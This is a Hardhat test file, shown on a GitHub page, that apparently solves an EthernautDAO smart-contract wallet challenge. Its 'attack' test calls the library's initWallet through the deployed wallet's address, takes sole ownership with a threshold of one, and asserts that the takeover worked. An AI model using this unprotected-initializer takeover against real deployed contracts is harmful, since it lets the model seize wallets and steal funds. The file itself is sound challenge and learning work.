generated from nicobevilacqua/EthernautDAOWeeklyChallenges
-
Notifications
You must be signed in to change notification settings - Fork 0
/
02-Wallet.test.ts
35 lines (27 loc) · 1.07 KB
/
02-Wallet.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers } from 'hardhat';
describe('Wallet', () => {
let target: Contract;
let walletLibrary: Contract;
let attacker: SignerWithAddress;
let deployer: SignerWithAddress;
let owner1: SignerWithAddress;
let owner2: SignerWithAddress;
let owner3: SignerWithAddress;
before(async () => {
[attacker, deployer, owner1, owner2, owner3] = await ethers.getSigners();
walletLibrary = await (await ethers.getContractFactory('WalletLibrary', deployer)).deploy();
target = await (
await ethers.getContractFactory('Wallet', deployer)
).deploy(walletLibrary.address, [owner1.address, owner2.address, owner3.address], 2);
await target.deployed();
target = target.connect(attacker);
});
it('attack', async () => {
const tx = await (await walletLibrary.attach(target.address)).initWallet([attacker.address], 1);
await tx.wait();
expect(await target.isOwner(attacker.address)).to.equal(true);
});
});